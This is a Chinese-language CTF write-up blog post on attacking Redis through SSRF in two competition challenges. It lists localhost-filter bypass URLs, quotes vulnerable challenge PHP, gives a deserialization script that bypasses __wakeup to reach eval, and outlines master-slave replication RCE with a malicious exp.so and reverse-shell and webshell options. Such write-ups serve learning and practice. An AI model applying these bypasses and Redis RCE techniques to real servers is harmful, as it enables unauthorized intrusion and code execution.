SSRF打redis
之前学了一下打redis的几种姿势,所以现在来复现一下
几个函数学习下:
| parse_url()#解析 URL,返回其组成部分
 #要解析的 URL。无效字符将使用 _ 来替换。
 eg:
 <?php
 $url = 'http://username:password@hostname/path?arg=value#anchor';
 
 print_r(parse_url($url));
 
 echo parse_url($url, PHP_URL_PATH);
 ?>
 输出:
 Array
 (
 [scheme] => http
 [host] => hostname
 [user] => username
 [pass] => password
 [path] => /path
 [query] => arg=value
 [fragment] => anchor
 )
 #注意:
 parse_url() 是专门用来解析 URL 而不是 URI 的。不过为遵从 PHP 向后兼容的需要有个例外,对 file:// 协议允许三个斜线(file:///...)。
 
 | 
| gethostbyname — 返回主机名对应的 IPv4地址。ip2long() — 返回其长整数型的ip
 
 | 
2020网鼎杯SSRF打redis
再本题中,他给了一个提示:/Please visit hint.php locally.
但是他对我们访问本地做了一个waf,防止我们访问到,所以这个时候我们是需要进行绕过的,绕过本地的姿势有很多
| 跳转/解析到127.0.0.1:http://127.0.0.1.nip.io/hint.php编码绕过:http://0x7f.0.0.1/hint.php特殊字符绕过
 http://①②⑦.⓪.⓪.①/hint.php
 http://[0:0:0:0:0:ffff:127.0.0.1]/hint.php#这个在这里可以绕过
 http://127。0。0。1/flag.php
 http://127.1/flag.php
 http://[::]:80/flag.php
 http://127.0.0.1./flag.php
 
 | 
接下来他给了我们关键的源码,解析一下木九十我们需要post一个文件去性进行执行,但是前面有一个exit()需要我们去绕过,这个绕过的方式我记得是用伪协议进行绕过即可
| string(1342) " <?phpif($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
 highlight_file(__FILE__);
 }
 if(isset($_POST['file'])){
 file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
 }
 
 | 
这里提供了redis的密码,又是一个file_put_contents的函数,那就是ssrf打redis了,试了一下用gopher发送请求却没有回显,所以这里还是考虑一下使用主从复制RCE
今天配置了很久,决心一定要好好记录一下
首先理解一下什么是主从复制rce
| 1.分清谁是主谁是从我们要让对面的服务器加载我们服务器上的恶意文件.so,那么我们是主,对面是从
 2.如何让对面的服务器加载
 首先需要在服务器放上这两个工具,一个是可以执行命令输出payload的工具,一个是开启服务器的工具
 3.lhost和rhost
 rhost即为从,lhost为主,并且这里的lhost为了能让对面的服务器加载,必须要是vps
 
 | 
接下来就梳理一下整体流程:将exp.so移动到这个目录
然后先在本地的ssef-redis脚本文件进行修改一下:
 
 
 
对以上三个地方进行修改,修改完以后,即可输出payload,
接下来启动redis服务,然后把payload再进行一次urlencode即可开打
 
如果要反弹shell,就把那个命令改成反弹shell的指令,在服务器上开启监听即可

 
2021天翼杯——easyeval
一开始是一个反序列化绕过wakeup函数的,但是他有过滤,只识别A和B两个类,所以可以在外面再嵌套一层C,改变对象数目,即可绕过
| <?phperror_reporting(0);
 class A{
 public $code = "eval(\$_POST['a']);";
 
 function __call($method,$args){
 print("yes");
 echo $this->code;
 eval($this->code);
 
 }
 function __wakeup(){
 $this->code = "";
 }
 }
 
 class B{
 public $a;
 function __destruct(){
 echo $this->a->a();
 }
 }
 class C{
 public $c;
 }
 
 $a=new A();
 $b=new B();
 $c=new C();
 $b->a=$a;
 $c->c=$b;
 $d=serialize($c);
 echo $d;
 echo "\n";
 
 | 
然后就去命令执行,但是发现他phpinfo()中disable_function过滤了很多命令执行的函数=-=完全执行不了,但是看到有个配置文件,redis的配置文件,又发现file_get_contents函数没有被过滤,于是去打了一下6379端口,发现可以打通,所以感觉大概率是ssrf打redis
思路大概有以下几种:
1.备份crontab反弹shell
2.备份文件写马
3.主从复制rce
4.写无损文件
用蚁剑连接,发现tmp目录下可写文件,于是直接把redis的恶意模块exp.so放进去
然后利用蚁剑的redis插件直接进行连接数据库,密码在网站根目录下有写

然后就登录


小结
今天学习的都是SSRF通过主从复制打redis进行rce的,理解完以后发现也没啥难点–,主要是找到一篇看得懂的教程
https://blog.csdn.net/rfrder/article/details/113651337